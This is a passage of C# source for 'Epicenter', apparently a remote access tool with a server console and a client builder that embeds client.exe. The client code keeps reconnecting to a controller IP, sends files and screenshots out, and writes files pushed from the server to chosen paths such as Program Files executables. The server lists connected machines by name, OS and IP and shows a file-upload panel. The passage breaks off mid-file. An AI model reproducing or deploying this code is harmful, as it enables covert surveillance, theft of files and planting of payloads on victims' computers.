104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/Epicenter Client.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | x86
6 | 8.0.30703
7 | 2.0
8 | {82883EE1-0789-4CBD-86A9-33829CAC249C}
9 | WinExe
10 | Properties
11 | Epicenter_Client
12 | Epicenter Client
13 | v2.0
14 |
15 |
16 | 512
17 | publish\
18 | true
19 | Disk
20 | false
21 | Foreground
22 | 7
23 | Days
24 | false
25 | false
26 | true
27 | 0
28 | 1.0.0.%2a
29 | false
30 | false
31 | true
32 |
33 |
34 | x86
35 | true
36 | full
37 | false
38 | bin\Debug\
39 | DEBUG;TRACE
40 | prompt
41 | 4
42 |
43 |
44 | x86
45 | pdbonly
46 | true
47 | bin\Release\
48 | TRACE
49 | prompt
50 | 4
51 |
52 |
53 | Epicenter_Client.Program
54 |
55 |
56 | OnOutputUpdated
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 | True
77 | True
78 | Resources.resx
79 |
80 |
81 |
82 | ResXFileCodeGenerator
83 | Resources.Designer.cs
84 | Designer
85 |
86 |
87 | True
88 | Resources.resx
89 | True
90 |
91 |
92 | ResXFileCodeGenerator
93 | Resources.Designer.cs
94 |
95 |
96 |
97 | SettingsSingleFileGenerator
98 | Settings.Designer.cs
99 |
100 |
101 | True
102 | Settings.settings
103 | True
104 |
105 |
106 |
107 |
108 |
109 | False
110 | .NET Framework 3.5 SP1 Client Profile
111 | false
112 |
113 |
114 | False
115 | .NET Framework 3.5 SP1
116 | true
117 |
118 |
119 | False
120 | Windows Installer 3.1
121 | true
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
136 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/Epicenter SERVER.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | x86
6 | 8.0.30703
7 | 2.0
8 | {925722F1-48B6-402C-B7A5-D2FAC82E5991}
9 | WinExe
10 | Properties
11 | Epicenter_SERVER
12 | Epicenter SERVER
13 | v2.0
14 |
15 |
16 | 512
17 |
18 |
19 | x86
20 | true
21 | full
22 | false
23 | bin\Debug\
24 | DEBUG;TRACE
25 | prompt
26 | 4
27 |
28 |
29 | x86
30 | pdbonly
31 | true
32 | bin\Release\
33 | TRACE
34 | prompt
35 | 4
36 |
37 |
38 | rss.ico
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 | Form
51 |
52 |
53 | administrate.cs
54 |
55 |
56 |
57 | Form
58 |
59 |
60 | CreateClient.cs
61 |
62 |
63 | Form
64 |
65 |
66 | DisplayScreen.cs
67 |
68 |
69 |
70 |
71 | Form
72 |
73 |
74 | FileUploadDisplay.cs
75 |
76 |
77 | Form
78 |
79 |
80 | Form1.cs
81 |
82 |
83 |
84 |
85 | True
86 | True
87 | Resource.resx
88 |
89 |
90 | administrate.cs
91 |
92 |
93 | CreateClient.cs
94 |
95 |
96 | DisplayScreen.cs
97 |
98 |
99 | FileUploadDisplay.cs
100 |
101 |
102 | Form1.cs
103 |
104 |
105 | ResXFileCodeGenerator
106 | Resources.Designer.cs
107 | Designer
108 |
109 |
110 | True
111 | Resources.resx
112 | True
113 |
114 |
115 | ResXFileCodeGenerator
116 | Resource.Designer.cs
117 |
118 |
119 |
120 | SettingsSingleFileGenerator
121 | Settings.Designer.cs
122 |
123 |
124 | True
125 | Settings.settings
126 | True
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
143 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/FileClient.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.Net.Sockets;
5 | using System.Net;
6 | using System.IO;
7 |
8 | namespace Epicenter_Client
9 | {
10 | class FileClient
11 | {
12 | public static void SendFile(object args)
13 | {
14 | string[] arguments = (string[])args;
15 |
16 | // Defining the port and IP to form the connection.
17 | TcpClient client = null;
18 | IPEndPoint serverside = new IPEndPoint(IPAddress.Parse(Program.ipaddr), Convert.ToInt32(arguments[2]));
19 | bool isConnected = false;
20 |
21 | while (!isConnected)
22 | {
23 | try
24 | {
25 | client = new TcpClient();
26 | client.Connect(serverside);
27 | isConnected = true;
28 | }
29 | catch { System.Threading.Thread.Sleep(2000); }
30 | }
31 |
32 | FileStream fs = null;
33 | NetworkStream ns = null;
34 | try
35 | {
36 | ns = client.GetStream();
37 | fs = new FileStream(arguments[1], FileMode.Open, FileAccess.Read);
38 | }
39 | catch { if (client != null) { client.Close(); } }
40 |
41 | if (fs == null)
42 | return;
43 |
44 | byte[] message = new byte[4096];
45 | long fsLen = fs.Length;
46 |
47 | for (long i = 0; i < fsLen; )
48 | {
49 | if (fsLen - i > 4096)
50 | {
51 | fs.Read(message, 0, 4096);
52 | ns.Write(message, 0, 4096);
53 |
54 | i += 4096;
55 | }
56 | else
57 | {
58 | fs.Read(message, 0, (int)(fsLen - i));
59 | ns.Write(message, 0, (int)(fsLen - i));
60 |
61 | i += fsLen - i;
62 | }
63 |
64 | }
65 |
66 | ns.Close();
67 | ns.Dispose();
68 | client.Close();
69 | }
70 |
71 | public static void SendByteArray(object args)
72 | {
73 | int port = (int)args;
74 |
75 | // Defining the port and IP to form the connection.
76 | TcpClient client = null;
77 | IPEndPoint serverside = new IPEndPoint(IPAddress.Parse(Program.ipaddr), port);
78 | bool isConnected = false;
79 |
80 | while (!isConnected)
81 | {
82 | try
83 | {
84 | client = new TcpClient();
85 | client.Connect(serverside);
86 | isConnected = true;
87 | }
88 | catch { System.Threading.Thread.Sleep(2000); }
89 | }
90 |
91 | NetworkStream ns = null;
92 | try
93 | {
94 | ns = client.GetStream();
95 | }
96 | catch { return; }
97 |
98 | if (ScreenshotMechanism.latestScreenshot == null)
99 | return;
100 |
101 | byte[] message = new byte[4096];
102 | long fsLen = ScreenshotMechanism.latestScreenshot.Length;
103 | ScreenshotMechanism.latestScreenshot.Seek(0, SeekOrigin.Begin);
104 |
105 | for (long i = 0; i < fsLen; )
106 | {
107 | if (fsLen - i > 4096)
108 | {
109 | ScreenshotMechanism.latestScreenshot.Read(message, 0, 4096);
110 | ns.Write(message, 0, 4096);
111 |
112 | i += 4096;
113 | }
114 | else
115 | {
116 | ScreenshotMechanism.latestScreenshot.Read(message, 0, (int)(fsLen - i));
117 | ns.Write(message, 0, (int)(fsLen - i));
118 |
119 | i += fsLen - i;
120 | }
121 | }
122 |
123 | ns.Close();
124 | ns.Dispose();
125 | client.Close();
126 |
127 | }
128 |
129 | public static void ReceiveFile(object args)
130 | {
131 | string[] arguments = (string[])args;
132 |
133 | // Defining the port and IP to form the connection.
134 | TcpClient client = null;
135 | IPEndPoint serverside = new IPEndPoint(IPAddress.Parse(Program.ipaddr), Convert.ToInt32(arguments[1]));
136 | bool isConnected = false;
137 |
138 | while (!isConnected)
139 | {
140 | try
141 | {
142 | client = new TcpClient();
143 | client.Connect(serverside);
144 | isConnected = true;
145 | }
146 | catch { System.Threading.Thread.Sleep(2000); }
147 | }
148 |
149 | FileStream fs = null;
150 | NetworkStream ns = null;
151 | try
152 | {
153 | ns = client.GetStream();
154 | fs = new FileStream(arguments[0], FileMode.Create, FileAccess.Write);
155 | }
156 | catch { if (client != null) { client.Close(); } }
157 |
158 | if (fs == null)
159 | return;
160 |
161 | // Custom variables
162 | byte[] incoming_raw_data = new byte[4096];
163 | int bytesRead;
164 |
165 | while (true)
166 | {
167 | bytesRead = 0;
168 |
169 | try
170 | {
171 | bytesRead = ns.Read(incoming_raw_data, 0, 4096);
172 | }
173 | catch
174 | {
175 | break;
176 | }
177 |
178 | if (bytesRead == 0)
179 | {
180 | break;
181 | }
182 |
183 | fs.Write(incoming_raw_data, 0, bytesRead);
184 | }
185 | ns.Close();
186 | ns.Dispose();
187 | client.Close();
188 | if (fs != null)
189 | {
190 | fs.Close(); fs.Dispose();
191 | }
192 | }
193 | }
194 | }
195 |
--------------------------------------------------------------------------------
/Epicenter Client/Epicenter Client/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 |
122 | Resources\file;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
123 |
124 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/Resource.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 |
122 | Resources\client.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
123 |
124 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/FileUploadDisplay.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace Epicenter_SERVER
2 | {
3 | partial class FileUploadDisplay
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FileUploadDisplay));
32 | this.txtDestination = new System.Windows.Forms.TextBox();
33 | this.btnBrowse = new System.Windows.Forms.Button();
34 | this.txtLocal = new System.Windows.Forms.TextBox();
35 | this.label1 = new System.Windows.Forms.Label();
36 | this.label2 = new System.Windows.Forms.Label();
37 | this.label3 = new System.Windows.Forms.Label();
38 | this.btnProceed = new System.Windows.Forms.Button();
39 | this.btnCancel = new System.Windows.Forms.Button();
40 | this.SuspendLayout();
41 | //
42 | // txtDestination
43 | //
44 | this.txtDestination.Location = new System.Drawing.Point(91, 41);
45 | this.txtDestination.Name = "txtDestination";
46 | this.txtDestination.Size = new System.Drawing.Size(443, 20);
47 | this.txtDestination.TabIndex = 0;
48 | //
49 | // btnBrowse
50 | //
51 | this.btnBrowse.Location = new System.Drawing.Point(450, 12);
52 | this.btnBrowse.Name = "btnBrowse";
53 | this.btnBrowse.Size = new System.Drawing.Size(84, 23);
54 | this.btnBrowse.TabIndex = 1;
55 | this.btnBrowse.Text = "Browse";
56 | this.btnBrowse.UseVisualStyleBackColor = true;
57 | this.btnBrowse.Click += new System.EventHandler(this.btnBrowse_Click);
58 | //
59 | // txtLocal
60 | //
61 | this.txtLocal.Enabled = false;
62 | this.txtLocal.Location = new System.Drawing.Point(91, 14);
63 | this.txtLocal.Name = "txtLocal";
64 | this.txtLocal.Size = new System.Drawing.Size(353, 20);
65 | this.txtLocal.TabIndex = 2;
66 | //
67 | // label1
68 | //
69 | this.label1.AutoSize = true;
70 | this.label1.Location = new System.Drawing.Point(12, 17);
71 | this.label1.Name = "label1";
72 | this.label1.Size = new System.Drawing.Size(73, 13);
73 | this.label1.TabIndex = 3;
74 | this.label1.Text = "File to upload:";
75 | //
76 | // label2
77 | //
78 | this.label2.AutoSize = true;
79 | this.label2.Location = new System.Drawing.Point(12, 44);
80 | this.label2.Name = "label2";
81 | this.label2.Size = new System.Drawing.Size(63, 13);
82 | this.label2.TabIndex = 4;
83 | this.label2.Text = "Destination:";
84 | //
85 | // label3
86 | //
87 | this.label3.AutoSize = true;
88 | this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(162)));
89 | this.label3.Location = new System.Drawing.Point(342, 63);
90 | this.label3.Name = "label3";
91 | this.label3.Size = new System.Drawing.Size(192, 12);
92 | this.label3.TabIndex = 5;
93 | this.label3.Text = "(ex. C:\\Program Files\\Common Files\\file.exe)";
94 | //
95 | // btnProceed
96 | //
97 | this.btnProceed.Location = new System.Drawing.Point(15, 88);
98 | this.btnProceed.Name = "btnProceed";
99 | this.btnProceed.Size = new System.Drawing.Size(519, 23);
100 | this.btnProceed.TabIndex = 6;
101 | this.btnProceed.Text = "Start Uploading";
102 | this.btnProceed.UseVisualStyleBackColor = true;
103 | this.btnProceed.Click += new System.EventHandler(this.btnProceed_Click);
104 | //
105 | // btnCancel
106 | //
107 | this.btnCancel.Location = new System.Drawing.Point(15, 117);
108 | this.btnCancel.Name = "btnCancel";
109 | this.btnCancel.Size = new System.Drawing.Size(519, 23);
110 | this.btnCancel.TabIndex = 7;
111 | this.btnCancel.Text = "Cancel";
112 | this.btnCancel.UseVisualStyleBackColor = true;
113 | this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click);
114 | //
115 | // FileUploadDisplay
116 | //
117 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
118 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
119 | this.ClientSize = new System.Drawing.Size(546, 150);
120 | this.Controls.Add(this.btnCancel);
121 | this.Controls.Add(this.btnProceed);
122 | this.Controls.Add(this.label3);
123 | this.Controls.Add(this.label2);
124 | this.Controls.Add(this.label1);
125 | this.Controls.Add(this.txtLocal);
126 | this.Controls.Add(this.btnBrowse);
127 | this.Controls.Add(this.txtDestination);
128 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow;
129 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
130 | this.MaximizeBox = false;
131 | this.MinimizeBox = false;
132 | this.Name = "FileUploadDisplay";
133 | this.Text = "Please state the filename";
134 | this.ResumeLayout(false);
135 | this.PerformLayout();
136 |
137 | }
138 |
139 | #endregion
140 |
141 | private System.Windows.Forms.TextBox txtDestination;
142 | private System.Windows.Forms.Button btnBrowse;
143 | private System.Windows.Forms.TextBox txtLocal;
144 | private System.Windows.Forms.Label label1;
145 | private System.Windows.Forms.Label label2;
146 | private System.Windows.Forms.Label label3;
147 | private System.Windows.Forms.Button btnProceed;
148 | private System.Windows.Forms.Button btnCancel;
149 | }
150 | }
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/FileServer.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.Threading;
5 | using System.Net;
6 | using System.Net.Sockets;
7 | using System.IO;
8 | using System.Windows.Forms;
9 |
10 | namespace Epicenter_SERVER
11 | {
12 | class FileServer
13 | {
14 | private string expectedIP;
15 | private int port;
16 | private string locationToSave;
17 | private string locToReadFrom;
18 | private TcpListener listener;
19 | private administrate owner;
20 |
21 | private bool isListening = false;
22 |
23 | public FileServer(administrate _owner, string _expectedIP, int _port, string _locationToSave, string _locToReadFrom)
24 | {
25 | // Internalizing the variables
26 | expectedIP = _expectedIP;
27 | port = _port;
28 | locationToSave = _locationToSave;
29 | owner = _owner;
30 | locToReadFrom = _locToReadFrom;
31 | }
32 |
33 |
34 | public void StartListeningForFile()
35 | {
36 | isListening = true;
37 |
38 | Thread thListening = new Thread(new ParameterizedThreadStart(Listener));
39 | thListening.Start((object)false);
40 | }
41 |
42 | public void StartListeningForSS()
43 | {
44 | isListening = true;
45 |
46 | Thread thListening = new Thread(new ParameterizedThreadStart(Listener));
47 | thListening.Start((object)true);
48 | }
49 |
50 | public void StartListeningForUpload()
51 | {
52 | isListening = true;
53 | owner.ReportIn = "Listening to upload...";
54 | Thread thListening = new Thread( new ThreadStart(UploadListener) );
55 | thListening.Start();
56 |
57 |
58 | }
59 |
60 | public void StopListening()
61 | {
62 | isListening = false;
63 | }
64 |
65 |
66 | private void Listener(object forSS)
67 | {
68 | bool isSS = (bool)forSS;
69 | // Starting to listen to the incoming connection requests
70 | listener = new TcpListener(IPAddress.Any, port);
71 | listener.Start();
72 |
73 | while (isListening)
74 | {
75 | TcpClient client = null;
76 | try
77 | {
78 | client = listener.AcceptTcpClient();
79 | }
80 | catch { return; }
81 |
82 | // A Connection request from a client is received, HandleClientComm will take it from here
83 |
84 | if (!isSS)
85 | {
86 | Thread clientThread = new Thread(new ParameterizedThreadStart(HandleClientComm));
87 | clientThread.Start(client);
88 | }
89 | else
90 | {
91 | Thread clientThread = new Thread(new ParameterizedThreadStart(HandleClientCommSS));
92 | clientThread.Start(client);
93 | }
94 | }
95 | }
96 |
97 | private void UploadListener()
98 | {
99 | // Starting to listen to the incoming connection requests
100 | listener = new TcpListener(IPAddress.Any, port);
101 | listener.Start();
102 |
103 | while (isListening)
104 | {
105 | TcpClient client = null;
106 | try
107 | {
108 | client = listener.AcceptTcpClient();
109 | }
110 | catch { return; }
111 |
112 | // A Connection request from a client is received, HandleClientComm will take it from here
113 | owner.ReportIn = "Client connected, will receive the file.";
114 | Thread clientThread = new Thread(new ParameterizedThreadStart(HandleClientCommUpload));
115 | clientThread.Start(client);
116 | }
117 | }
118 |
119 | private FileStream toWrite = null;
120 | private void HandleClientComm(object client)
121 | {
122 | // Getting the dataStream
123 | TcpClient tcpClient = (TcpClient)client;
124 | NetworkStream clientStream = tcpClient.GetStream();
125 |
126 | // Custom variables
127 | byte[] incoming_raw_data = new byte[4096];
128 | int bytesRead;
129 | int oldPos = 0;
130 | long currentPos = 0;
131 |
132 | while (true)
133 | {
134 | bytesRead = 0;
135 |
136 | try
137 | {
138 | bytesRead = clientStream.Read(incoming_raw_data, 0, 4096);
139 | }
140 | catch
141 | {
142 | break;
143 | }
144 |
145 | if (bytesRead == 0)
146 | {
147 | break;
148 | }
149 |
150 | // -- We got a valid raw data - proceeding to write...
151 | if(toWrite==null)
152 | toWrite = new FileStream(locationToSave, FileMode.Create, FileAccess.Write);
153 |
154 | toWrite.Write(incoming_raw_data, 0, bytesRead);
155 | currentPos += bytesRead;
156 |
157 |
158 | if ((currentPos/ 1000) - oldPos > 50)
159 | {
160 | owner.ReportIn = (currentPos / 1000).ToString() + " KB transferred";
161 | oldPos = (int)(currentPos / 1000);
162 | }
163 |
164 |
165 | }
166 |
167 | clientStream.Close();
168 | clientStream.Dispose();
169 | tcpClient.Close();
170 |
171 | if (toWrite != null)
172 | {
173 | toWrite.Close();
174 | toWrite.Dispose();
175 | }
176 |
177 | isListening = false;
178 | listener.Stop();
179 | MessageBox.Show("File transfer complete.", "Complete", MessageBoxButtons.OK, MessageBoxIcon.Information);
180 | owner.ReportIn = "File transfer complete.";
181 | }
182 |
183 | private void HandleClientCommSS(object client)
184 | {
185 | // Getting the dataStream
186 | TcpClient tcpClient = (TcpClient)client;
187 | NetworkStream clientStream = tcpClient.GetStream();
188 |
189 | // Custom variables
190 | byte[] incoming_raw_data = new byte[4096];
191 | int bytesRead;
192 | int oldPos = 0;
193 | long currentPos = 0;
194 |
195 | while (true)
196 | {
197 | bytesRead = 0;
198 |
199 | try
200 | {
201 | bytesRead = clientStream.Read(incoming_raw_data, 0, 4096);
202 | }
203 | catch
204 | {
205 | break;
206 | }
207 |
208 | if (bytesRead == 0)
209 | {
210 | break;
211 | }
212 |
213 | // -- We got a valid raw data - proceeding to write...
214 | if(toWrite==null)
215 | toWrite = new FileStream(locationToSave, FileMode.Create, FileAccess.Write);
216 |
217 | toWrite.Write(incoming_raw_data, 0, bytesRead);
218 | currentPos += bytesRead;
219 |
220 | if ((currentPos / 1000) - oldPos > 10)
221 | {
222 | owner.ReportInSS = (currentPos / 1000).ToString() + " KB transferred";
223 | oldPos = (int)(currentPos / 1000);
224 | }
225 |
226 |
227 | }
228 |
229 | clientStream.Close();
230 | clientStream.Dispose();
231 | tcpClient.Close();
232 |
233 | if (toWrite != null)
234 | {
235 | toWrite.Close();
236 | toWrite.Dispose();
237 | }
238 |
239 | isListening = false;
240 | listener.Stop();
241 | owner.ReportInSS = "complete<%SEP%>" + locationToSave;
242 |
243 | }
244 |
245 | private void HandleClientCommUpload(object client)
246 | {
247 | // Getting the dataStream
248 | TcpClient tcpClient = (TcpClient)client;
249 | NetworkStream clientStream = tcpClient.GetStream();
250 |
251 | // Custom variables
252 | byte[] outgoing_raw_data = new byte[4096];
253 | int oldPos = 0;
254 |
255 | FileStream toRead = new FileStream(locToReadFrom, FileMode.Open, FileAccess.Read);
256 | long len = toRead.Length;
257 | for (long i = 0; i < len; )
258 | {
259 | if (len - i > 4096)
260 | {
261 | toRead.Read(outgoing_raw_data, 0, 4096);
262 | clientStream.Write(outgoing_raw_data, 0, 4096);
263 | i += 4096;
264 | }
265 | else
266 | {
267 | toRead.Read(outgoing_raw_data, 0, (int)(len - i));
268 | clientStream.Write(outgoing_raw_data, 0, (int)(len - i));
269 | i += len - i;
270 | }
271 |
272 | if ( (i / 1000) - oldPos > 20)
273 | {
274 | owner.ReportIn = (i / 1000).ToString() + "/" + (len/1000).ToString() + "KB uploaded";
275 | oldPos = (int)(i / 1000);
276 | }
277 | }
278 |
279 | clientStream.Close();
280 | clientStream.Dispose();
281 | tcpClient.Close();
282 |
283 | isListening = false;
284 | listener.Stop();
285 | MessageBox.Show("File upload complete.", "Complete", MessageBoxButtons.OK, MessageBoxIcon.Information);
286 | owner.ReportIn = "File upload complete.";
287 | }
288 |
289 | }
290 | }
291 |
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/Form1.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace Epicenter_SERVER
2 | {
3 | partial class Form1
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
32 | this.btnControl = new System.Windows.Forms.Button();
33 | this.txtPort = new System.Windows.Forms.TextBox();
34 | this.label1 = new System.Windows.Forms.Label();
35 | this.lbClients = new System.Windows.Forms.ListView();
36 | this.chName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
37 | this.chOS = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
38 | this.chIP = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
39 | this.label2 = new System.Windows.Forms.Label();
40 | this.btnCreateClient = new System.Windows.Forms.Button();
41 | this.pictureBox1 = new System.Windows.Forms.PictureBox();
42 | this.pictureBox2 = new System.Windows.Forms.PictureBox();
43 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
44 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit();
45 | this.SuspendLayout();
46 | //
47 | // btnControl
48 | //
49 | this.btnControl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
50 | this.btnControl.Location = new System.Drawing.Point(563, 81);
51 | this.btnControl.Name = "btnControl";
52 | this.btnControl.Size = new System.Drawing.Size(91, 23);
53 | this.btnControl.TabIndex = 0;
54 | this.btnControl.Text = "Start Listening";
55 | this.btnControl.UseVisualStyleBackColor = true;
56 | this.btnControl.Click += new System.EventHandler(this.btnControl_Click);
57 | //
58 | // txtPort
59 | //
60 | this.txtPort.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
61 | this.txtPort.Location = new System.Drawing.Point(513, 82);
62 | this.txtPort.Name = "txtPort";
63 | this.txtPort.Size = new System.Drawing.Size(44, 20);
64 | this.txtPort.TabIndex = 1;
65 | this.txtPort.Text = "80";
66 | //
67 | // label1
68 | //
69 | this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
70 | this.label1.AutoSize = true;
71 | this.label1.BackColor = System.Drawing.Color.Transparent;
72 | this.label1.ForeColor = System.Drawing.SystemColors.ButtonFace;
73 | this.label1.Location = new System.Drawing.Point(478, 85);
74 | this.label1.Name = "label1";
75 | this.label1.Size = new System.Drawing.Size(29, 13);
76 | this.label1.TabIndex = 3;
77 | this.label1.Text = "Port:";
78 | //
79 | // lbClients
80 | //
81 | this.lbClients.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
82 | | System.Windows.Forms.AnchorStyles.Left)
83 | | System.Windows.Forms.AnchorStyles.Right)));
84 | this.lbClients.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
85 | this.chName,
86 | this.chOS,
87 | this.chIP});
88 | this.lbClients.FullRowSelect = true;
89 | this.lbClients.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable;
90 | this.lbClients.Location = new System.Drawing.Point(12, 137);
91 | this.lbClients.MultiSelect = false;
92 | this.lbClients.Name = "lbClients";
93 | this.lbClients.Size = new System.Drawing.Size(642, 264);
94 | this.lbClients.TabIndex = 4;
95 | this.lbClients.UseCompatibleStateImageBehavior = false;
96 | this.lbClients.View = System.Windows.Forms.View.Details;
97 | this.lbClients.DoubleClick += new System.EventHandler(this.lbClients_DoubleClick);
98 | //
99 | // chName
100 | //
101 | this.chName.Text = "Name";
102 | this.chName.Width = 232;
103 | //
104 | // chOS
105 | //
106 | this.chOS.Text = "OS";
107 | this.chOS.Width = 254;
108 | //
109 | // chIP
110 | //
111 | this.chIP.Text = "IP";
112 | this.chIP.Width = 152;
113 | //
114 | // label2
115 | //
116 | this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
117 | this.label2.AutoSize = true;
118 | this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(162)));
119 | this.label2.ForeColor = System.Drawing.SystemColors.ButtonFace;
120 | this.label2.Location = new System.Drawing.Point(10, 405);
121 | this.label2.Name = "label2";
122 | this.label2.Size = new System.Drawing.Size(276, 12);
123 | this.label2.TabIndex = 5;
124 | this.label2.Text = "Double-click a connected client to access the administration panel.";
125 | //
126 | // btnCreateClient
127 | //
128 | this.btnCreateClient.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
129 | this.btnCreateClient.Location = new System.Drawing.Point(468, 108);
130 | this.btnCreateClient.Name = "btnCreateClient";
131 | this.btnCreateClient.Size = new System.Drawing.Size(186, 23);
132 | this.btnCreateClient.TabIndex = 6;
